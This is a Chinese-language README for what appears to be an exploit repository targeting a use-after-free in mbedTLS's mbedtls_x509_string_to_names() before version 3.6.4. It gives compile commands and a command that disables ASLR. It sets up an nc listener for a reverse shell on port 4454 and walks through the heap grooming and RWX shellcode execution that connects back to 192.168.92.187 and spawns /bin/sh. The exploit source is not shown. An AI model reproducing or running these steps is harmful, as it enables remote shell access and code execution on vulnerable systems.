该仓库包含一个针对 mbedTLS 库中 mbedtls_x509_string_to_names() 名称解析函数内 Use-After-Free 漏洞的利用程序。成功利用该漏洞可通过劫持已释放的堆元数据并将控制流重定向到注入的 shellcode,实现以 root 权限执行任意代码。
操作系统:Linux(已在 Kali Linux 上测试)
Root 权限:用于禁用 ASLR 和执行注入的 shellcode
mbedTLS 开发库(mbedTLS < 3.6.4):
sudo apt update
sudo apt install -y libmbedtls-dev
构建工具:gcc、make(可选)
请根据你的安装调整 include/library 路径:
gcc /path/to/exploit.c \
-I/usr/local/include \
-L/usr/local/lib \
-lmbedtls -lmbedx509 -lmbedcrypto \
-Wl,-rpath,/usr/local/lib \
-o exploit_UAF
禁用 ASLR(地址空间布局随机化):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
准备监听器:在攻击机上为反向 shell 开启监听(端口 4454):
nc -lvnp 4454
以 root 权限运行利用程序:
sudo ./exploit_UAF
checkAslr() 读取 /proc/sys/kernel/randomize_va_space 以确保 ASLR 已禁用。若已启用则退出。mbedtls_x509_string_to_names() 调用:初始化一个空的 named-data 列表。paddingChunk() 分配大量伪造的 named-data 结构体,用指向 shellcode 的可控内容填充空闲链表条目。mbedtls_x509_string_to_names() 调用:触发 Use-After-Free 条件,重用包含伪造元数据的已释放 chunk。mmap() 将 shellcode 以 RWX 权限映射,复制后经由被破坏的 named_data->val.p 指针执行。192.168.92.1874454该 shellcode 执行 socket + connect + dup2 序列,随后执行 execve("/bin/sh")。
MIT